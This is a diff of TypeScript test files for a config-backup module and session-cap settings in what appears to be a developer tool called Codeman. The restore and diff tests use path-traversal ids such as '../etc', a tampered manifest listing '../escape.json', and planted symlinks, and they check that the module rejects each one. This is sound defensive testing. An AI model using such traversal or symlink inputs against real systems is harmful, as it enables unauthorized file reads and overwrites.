it('keeps the last good copy when the first change comes after a quiet month', () => {
|
||||
put('settings.json', '{"theme":"good"}');
|
||||
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'startup', now: T0 });
|
||||
put('settings.json', '{}'); // the bad write, 40 days later
|
||||
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 40 * DAY });
|
||||
pruneConfigBackups(backups, { keepCount: 20, keepDays: 30, now: T0 + 40 * DAY });
|
||||
expect(listConfigBackups(backups).map((b) => b.createdAt)).toEqual([T0 + 40 * DAY, T0]);
|
||||
});
|
||||
|
||||
it('never deletes a folder it did not make', () => {
|
||||
makeN(3);
|
||||
mkdirSync(join(backups, 'photos'));
|
||||
writeFileSync(join(backups, 'photos', 'a.jpg'), 'x');
|
||||
mkdirSync(join(backups, 'cfg-20200101-000000')); // right name, no manifest: not ours
|
||||
writeFileSync(join(backups, 'notes.txt'), 'keep');
|
||||
pruneConfigBackups(backups, { keepCount: 1, keepDays: 1, now: T0 + 500 * DAY });
|
||||
expect(existsSync(join(backups, 'photos', 'a.jpg'))).toBe(true);
|
||||
expect(existsSync(join(backups, 'cfg-20200101-000000'))).toBe(true);
|
||||
expect(existsSync(join(backups, 'notes.txt'))).toBe(true);
|
||||
expect(listConfigBackups(backups)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('does nothing for a folder that does not exist', () => {
|
||||
expect(pruneConfigBackups(join(root, 'nope'), { keepCount: 1, keepDays: 1 })).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('restoreConfigBackup', () => {
|
||||
it('puts the files back, atomically, after taking a pre-restore snapshot', () => {
|
||||
put('settings.json', '{"good":true}');
|
||||
put('clis.json', '{"clis":{"grok":{"enabled":true}}}');
|
||||
const made = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 }) as { id: string };
|
||||
|
||||
put('settings.json', '{"polluted":true}');
|
||||
rmSync(join(data, 'clis.json'));
|
||||
|
||||
const r = restoreConfigBackup({ dataDir: data, backupDir: backups, id: made.id, now: T0 + 1000 });
|
||||
expect(r.restored.sort()).toEqual(['clis.json', 'settings.json']);
|
||||
expect(readFileSync(join(data, 'settings.json'), 'utf8')).toBe('{"good":true}');
|
||||
expect(readFileSync(join(data, 'clis.json'), 'utf8')).toBe('{"clis":{"grok":{"enabled":true}}}');
|
||||
expect(statSync(join(data, 'settings.json')).mode & 0o777).toBe(0o600);
|
||||
|
||||
// The state it replaced is recoverable.
|
||||
expect(r.safetySnapshot).toBeTruthy();
|
||||
const safety = listConfigBackups(backups).find((b) => b.id === r.safetySnapshot)!;
|
||||
expect(safety.reason).toBe('pre-restore');
|
||||
expect(readFileSync(join(backups, safety.id, 'settings.json'), 'utf8')).toBe('{"polluted":true}');
|
||||
});
|
||||
|
||||
it('refuses a snapshot whose file no longer matches its checksum, changing nothing', () => {
|
||||
put('settings.json', '{"good":true}');
|
||||
const made = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 }) as { id: string };
|
||||
chmodSync(join(backups, made.id, 'settings.json'), 0o600);
|
||||
writeFileSync(join(backups, made.id, 'settings.json'), '{"tampered":true}');
|
||||
put('settings.json', '{"live":true}');
|
||||
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id: made.id })).toThrow(
|
||||
ConfigBackupCorruptError
|
||||
);
|
||||
expect(readFileSync(join(data, 'settings.json'), 'utf8')).toBe('{"live":true}');
|
||||
expect(listConfigBackups(backups)).toHaveLength(1); // no pre-restore snapshot for a refused restore
|
||||
});
|
||||
|
||||
it('rejects unknown ids and anything that is not a snapshot name (no path traversal)', () => {
|
||||
put('settings.json', '{}');
|
||||
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 });
|
||||
for (const id of ['cfg-19990101-000000', '../data', '..', 'photos', 'cfg-20261001-120000/../../x']) {
|
||||
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id }), id).toThrow(
|
||||
ConfigBackupNotFoundError
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it('reuses the newest backup as the undo copy when the live files already equal it', () => {
|
||||
put('settings.json', '{"a":1}');
|
||||
const first = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 }) as { id: string };
|
||||
put('settings.json', '{"a":2}');
|
||||
const newest = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + DAY }) as {
|
||||
id: string;
|
||||
};
|
||||
const r = restoreConfigBackup({ dataDir: data, backupDir: backups, id: first.id, now: T0 + 2 * DAY });
|
||||
expect(r.safetySnapshot).toBe(newest.id);
|
||||
expect(listConfigBackups(backups).map((b) => b.id)).toEqual([newest.id, first.id]); // no duplicate
|
||||
expect(readFileSync(join(data, 'settings.json'), 'utf8')).toBe('{"a":1}');
|
||||
});
|
||||
|
||||
it('a file it cannot write does not stop the others, and the error names both lists', () => {
|
||||
put('settings.json', '{"good":true}');
|
||||
put('clis.json', '{"clis":{}}');
|
||||
put('webhook.json', '{"enabled":false}');
|
||||
const made = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 }) as { id: string };
|
||||
put('settings.json', '{"polluted":true}');
|
||||
put('webhook.json', '{"enabled":true}');
|
||||
rmSync(join(data, 'clis.json'));
|
||||
mkdirSync(join(data, 'clis.json')); // between the other two in the tracked list
|
||||
let caught: unknown;
|
||||
try {
|
||||
restoreConfigBackup({ dataDir: data, backupDir: backups, id: made.id, now: T0 + 1000 });
|
||||
} catch (err) {
|
||||
caught = err;
|
||||
}
|
||||
expect(caught).toBeInstanceOf(ConfigBackupPartialRestoreError);
|
||||
const err = caught as ConfigBackupPartialRestoreError;
|
||||
expect(err.restored).toEqual(['settings.json', 'webhook.json']);
|
||||
expect(err.failed.map((f) => f.name)).toEqual(['clis.json']);
|
||||
expect(err.safetySnapshot).toBeTruthy();
|
||||
expect(readFileSync(join(data, 'webhook.json'), 'utf8')).toBe('{"enabled":false}');
|
||||
expect(readdirSync(data).filter((n) => n.includes('.restore-'))).toEqual([]); // no temp left behind
|
||||
});
|
||||
|
||||
it('only ever writes allowlisted names, even if a manifest lists others', () => {
|
||||
put('settings.json', '{"a":1}');
|
||||
const made = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 }) as { id: string };
|
||||
const mpath = join(backups, made.id, 'manifest.json');
|
||||
const m = JSON.parse(readFileSync(mpath, 'utf8'));
|
||||
m.files.push({ name: '../escape.json', bytes: 1, sha256: 'x' }, { name: 'state.json', bytes: 1, sha256: 'x' });
|
||||
writeFileSync(mpath, JSON.stringify(m));
|
||||
restoreConfigBackup({ dataDir: data, backupDir: backups, id: made.id });
|
||||
expect(existsSync(join(root, 'escape.json'))).toBe(false);
|
||||
expect(existsSync(join(data, 'state.json'))).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('diffConfigBackups', () => {
|
||||
const snap = (now: number) => {
|
||||
const r = createConfigBackup({ dataDir: data, backupDir: backups, reason: 't', force: true, now });
|
||||
if (r.status !== 'created') throw new Error('expected a snapshot');
|
||||
return r.id;
|
||||
};
|
||||
const diff = (from: string, to: string) => diffConfigBackups({ dataDir: data, backupDir: backups, from, to });
|
||||
const file = (d: ReturnType<typeof diff>, name: string) => d.files.find((f) => f.name === name)!;
|
||||
|
||||
it('lists key-level changes between two backups', () => {
|
||||
put('settings.json', JSON.stringify({ displayName: 'a', theme: { mode: 'dark' }, tags: ['x'] }));
|
||||
const a = snap(T0);
|
||||
put('settings.json', JSON.stringify({ displayName: 'b', theme: { mode: 'dark' }, tags: ['x', 'y'], extra: 1 }));
|
||||
const b = snap(T0 + 1000);
|
||||
const f = file(diff(a, b), 'settings.json');
|
||||
expect(f.status).toBe('changed');
|
||||
expect(f.changes).toEqual([
|
||||
{ path: 'displayName', kind: 'changed', before: '"a"', after: '"b"' },
|
||||
{ path: 'extra', kind: 'added', after: '1' },
|
||||
{ path: 'tags[1]', kind: 'added', after: '"y"' },
|
||||
]);
|
||||
});
|
||||
|
||||
it('compares a backup with the running config, and reports files that appeared or vanished', () => {
|
||||
put('settings.json', '{"a":1}');
|
||||
put('webhook.json', '{"url":"u"}');
|
||||
const a = snap(T0);
|
||||
put('settings.json', '{"a":2}');
|
||||
rmSync(join(data, 'webhook.json'));
|
||||
put('intents.json', '{"i":true}');
|
||||
const d = diff(a, 'current');
|
||||
expect(d.changed).toBe(3);
|
||||
expect(file(d, 'settings.json').changes).toEqual([{ path: 'a', kind: 'changed', before: '1', after: '2' }]);
|
||||
expect(file(d, 'webhook.json').status).toBe('removed');
|
||||
expect(file(d, 'intents.json').status).toBe('added');
|
||||
expect(diff(a, a).changed).toBe(0);
|
||||
});
|
||||
|
||||
it('never returns a webhook URL, captured prompts, or URL userinfo and query', () => {
|
||||
put('webhook.json', JSON.stringify({ url: 'https://hooks.slack.com/services/T0/B0/oldsecret' }));
|
||||
put('intents.json', JSON.stringify({ profiles: [{ key: 'k', prompts: ['my password is pw1'] }] }));
|
||||
put('settings.json', JSON.stringify({ baseUrl: 'https://user:pw@host/p?token=t1#f' }));
|
||||
const a = snap(T0);
|
||||
put('webhook.json', JSON.stringify({ url: 'https://hooks.slack.com/services/T0/B0/newsecret' }));
|
||||
put('intents.json', JSON.stringify({ profiles: [{ key: 'k', prompts: ['my password is pw2'] }] }));
|
||||
put('settings.json', JSON.stringify({ baseUrl: 'https://user:pw@host/p?token=t2#f' }));
|
||||
const d = diff(a, 'current');
|
||||
const json = JSON.stringify(d);
|
||||
for (const s of ['secret', 'pw1', 'pw2', 'user:pw', 'token=', 'hooks.slack']) expect(json).not.toContain(s);
|
||||
expect(file(d, 'webhook.json').changes.every((c) => c.redacted)).toBe(true);
|
||||
expect(file(d, 'intents.json').changes.every((c) => c.redacted)).toBe(true);
|
||||
});
|
||||
|
||||
it('never returns a credential value, only that it differs', () => {
|
||||
put('.env', 'SECRET_ONE=hunter2\nOTHER=abc\n');
|
||||
put('users.json', JSON.stringify({ admin: { name: 'root' } }));
|
||||
put('custom-model-hosts.json', JSON.stringify([{ name: 'h', apiKey: 'sk-old', url: 'http://x' }]));
|
||||
const a = snap(T0);
|
||||
put('.env', 'SECRET_ONE=hunter3\nOTHER=abd\n');
|
||||
put('users.json', JSON.stringify({ admin: { name: 'rooted' } }));
|
||||
put('custom-model-hosts.json', JSON.stringify([{ name: 'h', apiKey: 'sk-new', url: 'http://y' }]));
|
||||
const d = diff(a, 'current');
|
||||
const json = JSON.stringify(d);
|
||||
for (const secret of ['hunter', 'abc', 'abd', 'root', 'sk-old', 'sk-new']) expect(json).not.toContain(secret);
|
||||
expect(file(d, '.env').changes.every((c) => c.redacted)).toBe(true);
|
||||
expect(file(d, 'custom-model-hosts.json').changes).toEqual([
|
||||
{ path: '[0].apiKey', kind: 'changed', redacted: true },
|
||||
{ path: '[0].url', kind: 'changed', before: '"http://x"', after: '"http://y"' },
|
||||
]);
|
||||
});
|
||||
|
||||
it('does not count a self-refreshed discovery timestamp as a difference', () => {
|
||||
put('custom-model-hosts.json', JSON.stringify([{ name: 'h', lastDiscoveredAt: 1 }]));
|
||||
const a = snap(T0);
|
||||
put('custom-model-hosts.json', JSON.stringify([{ name: 'h', lastDiscoveredAt: 2 }]));
|
||||
const d = diff(a, 'current');
|
||||
expect(file(d, 'custom-model-hosts.json').status).toBe('unchanged');
|
||||
expect(d.changed).toBe(0);
|
||||
});
|
||||
|
||||
it('reports a file that is not JSON as differing, without its content', () => {
|
||||
put('settings.json', 'not json at all');
|
||||
const a = snap(T0);
|
||||
put('settings.json', 'still not json');
|
||||
const f = file(diff(a, 'current'), 'settings.json');
|
||||
expect(f).toMatchObject({ status: 'changed', detail: 'bytes', changes: [] });
|
||||
});
|
||||
|
||||
it('caps the changes listed per file', () => {
|
||||
put('settings.json', '{}');
|
||||
const a = snap(T0);
|
||||
put('settings.json', JSON.stringify(Object.fromEntries(Array.from({ length: 250 }, (_, i) => [`k${i}`, i]))));
|
||||
const f = file(diff(a, 'current'), 'settings.json');
|
||||
expect(f.changes).toHaveLength(200);
|
||||
expect(f.truncated).toBe(true);
|
||||
});
|
||||
|
||||
it('refuses unknown ids, path traversal and a tampered snapshot', () => {
|
||||
put('settings.json', '{"a":1}');
|
||||
const a = snap(T0);
|
||||
expect(() => diff('cfg-20200101-000000', 'current')).toThrow(ConfigBackupNotFoundError);
|
||||
expect(() => diff('../etc', 'current')).toThrow(ConfigBackupNotFoundError);
|
||||
writeFileSync(join(backups, a, 'settings.json'), '{"a":99}');
|
||||
expect(() => diff(a, 'current')).toThrow(ConfigBackupCorruptError);
|
||||
});
|
||||
});
|
||||
|
||||
describe('createConfigBackup: a snapshot dated ahead of the clock', () => {
|
||||
it('is not written again on every pass once the clock is corrected', () => {
|
||||
put('settings.json', '{"v":0}');
|
||||
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 });
|
||||
put('settings.json', '{"v":1}');
|
||||
const ahead = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 2 * 3_600_000 });
|
||||
expect(ahead.status).toBe('created');
|
||||
put('settings.json', '{"v":2}'); // the clock is back at T0 + 1 minute
|
||||
const corrected = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 60_000 });
|
||||
expect(corrected.status).toBe('created');
|
||||
const [newest, second] = listConfigBackups(backups);
|
||||
expect(newest.id).toBe((corrected as { id: string }).id); // dated no earlier than the one before it
|
||||
expect(newest.createdAt).toBeGreaterThan(second.createdAt);
|
||||
for (let i = 0; i < 24; i++) {
|
||||
const r = createConfigBackup({
|
||||
dataDir: data,
|
||||
backupDir: backups,
|
||||
reason: 'auto',
|
||||
now: T0 + 120_000 + i * 300_000,
|
||||
});
|
||||
expect(r.status, `pass ${i}`).toBe('unchanged');
|
||||
}
|
||||
expect(listConfigBackups(backups)).toHaveLength(3);
|
||||
});
|
||||
});
|
||||
|
||||
describe('instances sharing one backup folder', () => {
|
||||
it('keeps to its own snapshots: no churn, no prune, no restore of the other', () => {
|
||||
const other = join(root, 'other-data');
|
||||
mkdirSync(other, { recursive: true });
|
||||
put('settings.json', '{"a":1}');
|
||||
writeFileSync(join(other, 'settings.json'), '{"b":2}');
|
||||
const mine = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 });
|
||||
const theirs = createConfigBackup({ dataDir: other, backupDir: backups, reason: 'auto', now: T0 + 1000 });
|
||||
expect(theirs.status).toBe('created');
|
||||
// Each side's change check compares with its own newest snapshot, so a second tick is a no-op.
|
||||
expect(createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 2000 }).status).toBe(
|
||||
'unchanged'
|
||||
);
|
||||
expect(createConfigBackup({ dataDir: other, backupDir: backups, reason: 'auto', now: T0 + 3000 }).status).toBe(
|
||||
'unchanged'
|
||||
);
|
||||
expect(listConfigBackups(backups, configBackupOrigin(data))).toHaveLength(1);
|
||||
expect(
|
||||
pruneConfigBackups(backups, { keepCount: 1, keepDays: 1, now: T0 + 999 * DAY, origin: configBackupOrigin(data) })
|
||||
).toEqual([]);
|
||||
expect(listConfigBackups(backups)).toHaveLength(2);
|
||||
const theirId = (theirs as { id: string }).id;
|
||||
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id: theirId })).toThrow(
|
||||
ConfigBackupNotFoundError
|
||||
);
|
||||
expect((mine as { id: string }).id).not.toBe(theirId);
|
||||
});
|
||||
|
||||
it('a restore reports tracked files it left alone, and sweeps only old temp folders', () => {
|
||||
put('settings.json', '{"a":1}');
|
||||
const made = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 }) as { id: string };
|
||||
put('webhook.json', '{"url":"u"}');
|
||||
expect(restoreConfigBackup({ dataDir: data, backupDir: backups, id: made.id }).untouched).toEqual(['webhook.json']);
|
||||
const stale = join(backups, '.tmp-cfg-20200101-000000-99999');
|
||||
mkdirSync(stale);
|
||||
sweepConfigBackupTemps(backups, Date.now() + 2 * 3_600_000);
|
||||
expect(existsSync(stale)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('restore trusts only what this module wrote', () => {
|
||||
const made = () =>
|
||||
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 }) as { id: string };
|
||||
|
||||
it('refuses a symlinked snapshot file and a snapshot file with group or world bits', () => {
|
||||
put('settings.json', '{"a":1}');
|
||||
put('clis.json', '{"clis":{}}');
|
||||
const { id } = made();
|
||||
const file = join(backups, id, 'clis.json');
|
||||
chmodSync(file, 0o644);
|
||||
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id })).toThrow(ConfigBackupCorruptError);
|
||||
|
||||
chmodSync(file, 0o600);
|
||||
const real = join(root, 'elsewhere.json');
|
||||
writeFileSync(real, '{"clis":{}}');
|
||||
rmSync(file);
|
||||
symlinkSync(real, file);
|
||||
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id })).toThrow(/symlink/);
|
||||
// nothing was written and no pre-restore copy was taken for a refused restore
|
||||
expect(listConfigBackups(backups)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('skips the group/world bit test on a filesystem that does not keep modes, but never the symlink test', () => {
|
||||
put('settings.json', '{"a":1}');
|
||||
put('clis.json', '{"clis":{}}');
|
||||
const { id } = made();
|
||||
const file = join(backups, id, 'clis.json');
|
||||
chmodSync(file, 0o644); // what vfat, CIFS and WSL /mnt/d report for every file
|
||||
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id, keepsModes: false })).not.toThrow();
|
||||
|
||||
const real = join(root, 'elsewhere.json');
|
||||
writeFileSync(real, '{"clis":{}}');
|
||||
rmSync(file);
|
||||
symlinkSync(real, file);
|
||||
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id, keepsModes: false })).toThrow(/symlink/);
|
||||
});
|
||||
|
||||
it('the mode probe never writes through a planted symlink or trips over a planted directory', () => {
|
||||
put('settings.json', '{"a":1}');
|
||||
const { id } = made();
|
||||
const target = join(root, 'victim.txt');
|
||||
writeFileSync(target, 'precious', { mode: 0o644 });
|
||||
symlinkSync(target, join(backups, `.mode-probe-${process.pid}`));
|
||||
mkdirSync(join(backups, '.mode-probe-0'));
|
||||
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id })).not.toThrow();
|
||||
expect(() => diffConfigBackups({ dataDir: data, backupDir: backups, from: id, to: 'current' })).not.toThrow();
|
||||
expect(readFileSync(target, 'utf8')).toBe('precious');
|
||||
expect(statSync(target).mode & 0o777).toBe(0o644);
|
||||
});
|
||||
|
||||
it('compare applies the same check to a snapshot file', () => {
|
||||
put('settings.json', '{"a":1}');
|
||||
const { id } = made();
|
||||
chmodSync(join(backups, id, 'settings.json'), 0o644);
|
||||
expect(() => diffConfigBackups({ dataDir: data, backupDir: backups, from: id, to: 'current' })).toThrow(
|
||||
ConfigBackupCorruptError
|
||||
);
|
||||
});
|
||||
|
||||
it('refuses a snapshot folder that others can write to', () => {
|
||||
put('settings.json', '{"a":1}');
|
||||
const { id } = made();
|
||||
chmodSync(join(backups, id), 0o777);
|
||||
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id })).toThrow(ConfigBackupCorruptError);
|
||||
chmodSync(join(backups, id), 0o700);
|
||||
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id })).not.toThrow();
|
||||
});
|
||||
|
||||
it('keeps the backup retention when the live settings.json was reset and has none of the four keys', () => {
|
||||
put('settings.json', JSON.stringify({ displayName: 'old', configBackupKeepCount: 100, configBackupKeepDays: 0 }));
|
||||
const { id } = made();
|
||||
put('settings.json', '{}');
|
||||
restoreConfigBackup({ dataDir: data, backupDir: backups, id });
|
||||
expect(JSON.parse(readFileSync(join(data, 'settings.json'), 'utf8'))).toEqual({
|
||||
displayName: 'old',
|
||||
configBackupKeepCount: 100,
|
||||
configBackupKeepDays: 0,
|
||||
});
|
||||
});
|
||||
|
||||
it('latestBackupRetention skips a newer snapshot that recorded none, and a pre-restore copy records it', () => {
|
||||
put('settings.json', '{"a":1}');
|
||||
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0, keepCount: 100, keepDays: 0 });
|
||||
put('settings.json', '{"a":2}');
|
||||
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 1000 }); // an older build
|
||||
const origin = configBackupOrigin(data);
|
||||
expect(latestBackupRetention(backups, origin)).toEqual({ keepCount: 100, keepDays: 0 });
|
||||
const id = listConfigBackups(backups, origin).at(-1)!.id;
|
||||
// A change since the newest backup, so the restore makes a pre-restore copy rather than reusing it.
|
||||
put('settings.json', '{"a":3}');
|
||||
const r = restoreConfigBackup({ dataDir: data, backupDir: backups, id, now: T0 + 2000 });
|
||||
expect(r.safetySnapshot).toBeTruthy();
|
||||
const pre = listConfigBackups(backups, origin).find((b) => b.id === r.safetySnapshot)!;
|
||||
expect(pre.reason).toBe('pre-restore');
|
||||
expect(JSON.parse(readFileSync(join(backups, pre.id, 'manifest.json'), 'utf8'))).toMatchObject({
|
||||
keepCount: 100,
|
||||
keepDays: 0,
|
||||
});
|
||||
});
|
||||
|
||||
it('keeps the current folder and retention when settings.json is restored', () => {
|
||||
put('settings.json', JSON.stringify({ displayName: 'old', configBackupDir: '/old', configBackupKeepCount: 5 }));
|
||||
const { id } = made();
|
||||
put('settings.json', JSON.stringify({ displayName: 'new', configBackupDir: '/new', configBackupKeepDays: 7 }));
|
||||
restoreConfigBackup({ dataDir: data, backupDir: backups, id });
|
||||
const after = JSON.parse(readFileSync(join(data, 'settings.json'), 'utf8'));
|
||||
// the folder and days follow the live file; the live file has no keep count (reset), so the backup's 5 stays
|
||||
expect(after).toEqual({
|
||||
displayName: 'old',
|
||||
configBackupDir: '/new',
|
||||
configBackupKeepCount: 5,
|
||||
configBackupKeepDays: 7,
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,95 @@
|
||||
/**
|
||||
* @fileoverview The global session cap can be set with `CODEMAN_MAX_SESSIONS`.
|
||||
*
|
||||
* Tested through `sessionCapacityState` / `sessionCapacityMessage`, the check every
|
||||
* session-creating route goes through, so a regression in the env parsing OR in
|
||||
* the wiring from `map-limits` to the routes (and to the derived per-user cap in
|
||||
* multi-user mode) fails here.
|
||||
*/
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
type Helpers = typeof import('../../src/web/route-helpers.js');
|
||||
|
||||
/** A sessions map of the given size, every session owned by `owner`. */
|
||||
function sessionsOf(n: number, owner?: string): ReadonlyMap<string, never> {
|
||||
return new Map(Array.from({ length: n }, (_, i) => [`s${i}`, { id: `s${i}`, owner } as never]));
|
||||
}
|
||||
|
||||
/** Fresh module graph, so map-limits re-reads the environment at import. */
|
||||
async function loadWithEnv(env: Record<string, string | undefined>): Promise<Helpers> {
|
||||
vi.resetModules();
|
||||
vi.stubEnv('CODEMAN_MAX_SESSIONS', undefined);
|
||||
vi.stubEnv('CODEMAN_MAX_SESSIONS_PER_USER', undefined);
|
||||
vi.stubEnv('CODEMAN_MULTIUSER', undefined);
|
||||
for (const [key, value] of Object.entries(env)) vi.stubEnv(key, value);
|
||||
return import('../../src/web/route-helpers.js');
|
||||
}
|
||||
|
||||
describe('global session cap (CODEMAN_MAX_SESSIONS)', () => {
|
||||
afterEach(() => {
|
||||
vi.unstubAllEnvs();
|
||||
vi.resetModules();
|
||||
});
|
||||
|
||||
it('stays at 50 when the variable is not set', async () => {
|
||||
const { sessionCapacityState, sessionCapacityMessage } = await loadWithEnv({});
|
||||
expect(sessionCapacityState(sessionsOf(49)).atGlobalCap).toBe(false);
|
||||
expect(sessionCapacityState(sessionsOf(50)).atGlobalCap).toBe(true);
|
||||
expect(sessionCapacityMessage(sessionsOf(50))).toContain('(50)');
|
||||
});
|
||||
|
||||
it('raises the cap', async () => {
|
||||
const { sessionCapacityState, sessionCapacityMessage } = await loadWithEnv({ CODEMAN_MAX_SESSIONS: '120' });
|
||||
expect(sessionCapacityState(sessionsOf(50)).atGlobalCap).toBe(false);
|
||||
expect(sessionCapacityState(sessionsOf(119)).atGlobalCap).toBe(false);
|
||||
expect(sessionCapacityState(sessionsOf(120)).atGlobalCap).toBe(true);
|
||||
expect(sessionCapacityMessage(sessionsOf(120))).toContain('(120)');
|
||||
});
|
||||
|
||||
it('lowers the cap, ignoring surrounding whitespace', async () => {
|
||||
const { sessionCapacityState } = await loadWithEnv({ CODEMAN_MAX_SESSIONS: ' 3 ' });
|
||||
expect(sessionCapacityState(sessionsOf(2)).atGlobalCap).toBe(false);
|
||||
expect(sessionCapacityState(sessionsOf(3)).atGlobalCap).toBe(true);
|
||||
});
|
||||
|
||||
it.each(['1000', '500', '463', '99999999999999999999'])('clamps %j to the ceiling of 462', async (value) => {
|
||||
const { sessionCapacityState, sessionCapacityMessage } = await loadWithEnv({ CODEMAN_MAX_SESSIONS: value });
|
||||
expect(sessionCapacityState(sessionsOf(461)).atGlobalCap).toBe(false);
|
||||
expect(sessionCapacityState(sessionsOf(462)).atGlobalCap).toBe(true);
|
||||
expect(sessionCapacityMessage(sessionsOf(462))).toContain('(462)');
|
||||
});
|
||||
|
||||
it('keeps the ceiling inside the tab-layout budget next to the saved web tabs', async () => {
|
||||
vi.resetModules();
|
||||
const { MAX_CONCURRENT_SESSIONS_CEILING } = await import('../../src/config/map-limits.js');
|
||||
const { MAX_WEBVIEWS } = await import('../../src/config/webview-limits.js');
|
||||
const { MAX_TAB_REFS } = await import('../../src/tab-layout.js');
|
||||
expect(MAX_CONCURRENT_SESSIONS_CEILING + MAX_WEBVIEWS).toBeLessThanOrEqual(MAX_TAB_REFS);
|
||||
});
|
||||
|
||||
it.each(['', '0', '-5', '2.5', 'abc', '1e3'])('falls back to 50 for an unusable value %j', async (value) => {
|
||||
const { sessionCapacityState } = await loadWithEnv({ CODEMAN_MAX_SESSIONS: value });
|
||||
expect(sessionCapacityState(sessionsOf(49)).atGlobalCap).toBe(false);
|
||||
expect(sessionCapacityState(sessionsOf(50)).atGlobalCap).toBe(true);
|
||||
});
|
||||
|
||||
it('derives the multi-user per-user cap (half the global cap) from it', async () => {
|
||||
const { sessionCapacityState, sessionCapacityMessage } = await loadWithEnv({
|
||||
CODEMAN_MAX_SESSIONS: '100',
|
||||
CODEMAN_MULTIUSER: '1',
|
||||
});
|
||||
expect(sessionCapacityState(sessionsOf(49, 'alice'), 'alice').atUserCap).toBe(false);
|
||||
expect(sessionCapacityState(sessionsOf(50, 'alice'), 'alice')).toEqual({ atGlobalCap: false, atUserCap: true });
|
||||
expect(sessionCapacityMessage(sessionsOf(50, 'alice'), 'alice')).toContain('(50)');
|
||||
});
|
||||
|
||||
it('leaves an explicit CODEMAN_MAX_SESSIONS_PER_USER in charge of the per-user cap', async () => {
|
||||
const { sessionCapacityState } = await loadWithEnv({
|
||||
CODEMAN_MAX_SESSIONS: '100',
|
||||
CODEMAN_MAX_SESSIONS_PER_USER: '10',
|
||||
CODEMAN_MULTIUSER: '1',
|
||||
});
|
||||
expect(sessionCapacityState(sessionsOf(9, 'alice'), 'alice').atUserCap).toBe(false);
|
||||
expect(sessionCapacityState(sessionsOf(10, 'alice'), 'alice').atUserCap).toBe(true);
|
||||
});
|
||||
});
|
||||
@@ -158,10 +158,73 @@ describe('connection indicator — keystroke backlog threshold', () => {
|
||||
expect(els.connectionText.textContent).toBe('WS');
|
||||
});
|
||||
|
||||
it('annotates a genuine backlog (>4B) with a queued byte count', () => {
|
||||
const { app, els } = makeApp({ activeSessionId: 's1', _wsState: 'connected', queuedBytes: 40 });
|
||||
it('annotates a genuine backlog (>4B) with a queued byte count once it has persisted', () => {
|
||||
const { app, els } = makeApp({
|
||||
activeSessionId: 's1',
|
||||
_wsState: 'connected',
|
||||
queuedBytes: 40,
|
||||
// The backlog has been above the threshold for well over the hold.
|
||||
_backlogOverSince: Date.now() - 5000,
|
||||
} as never);
|
||||
app._updateConnectionIndicator();
|
||||
expect(els.connectionText.textContent).toMatch(/^WS · 40B queued$/);
|
||||
app._pendingDeliveries.clear();
|
||||
app._updateConnectionIndicator(); // drains: clears the hold timer
|
||||
});
|
||||
});
|
||||
|
||||
// A paste, an IME commit or a fast word is a few dozen bytes for a few milliseconds until its ACK
|
||||
// lands. Showing " · NB queued" for that made the "WS" pill widen and shrink on every burst.
|
||||
describe('connection indicator — a brief burst does not widen the pill', () => {
|
||||
it('keeps the plain "WS" while a >4B burst is still inside the hold window', () => {
|
||||
const { app, els } = makeApp({ activeSessionId: 's1', _wsState: 'connected', queuedBytes: 40 });
|
||||
app._updateConnectionIndicator();
|
||||
expect(els.connectionText.textContent).toBe('WS');
|
||||
app._pendingDeliveries.clear();
|
||||
app._updateConnectionIndicator();
|
||||
expect(els.connectionText.textContent).toBe('WS');
|
||||
});
|
||||
|
||||
it('forgets the burst when it drains, so a later one starts a fresh hold', () => {
|
||||
const { app } = makeApp({ activeSessionId: 's1', _wsState: 'connected', queuedBytes: 40 });
|
||||
app._updateConnectionIndicator();
|
||||
expect((app as unknown as { _backlogOverSince: number | null })._backlogOverSince).not.toBeNull();
|
||||
app._pendingDeliveries.clear();
|
||||
app._updateConnectionIndicator();
|
||||
expect((app as unknown as { _backlogOverSince: number | null })._backlogOverSince).toBeNull();
|
||||
expect((app as unknown as { _backlogHoldTimer: unknown })._backlogHoldTimer).toBeNull();
|
||||
});
|
||||
|
||||
it('schedules the re-render for when the hold elapses, with no keystroke or ACK needed', () => {
|
||||
const { app } = makeApp({ activeSessionId: 's1', _wsState: 'connected', queuedBytes: 40 });
|
||||
app._updateConnectionIndicator();
|
||||
expect((app as unknown as { _backlogHoldTimer: unknown })._backlogHoldTimer).not.toBeNull();
|
||||
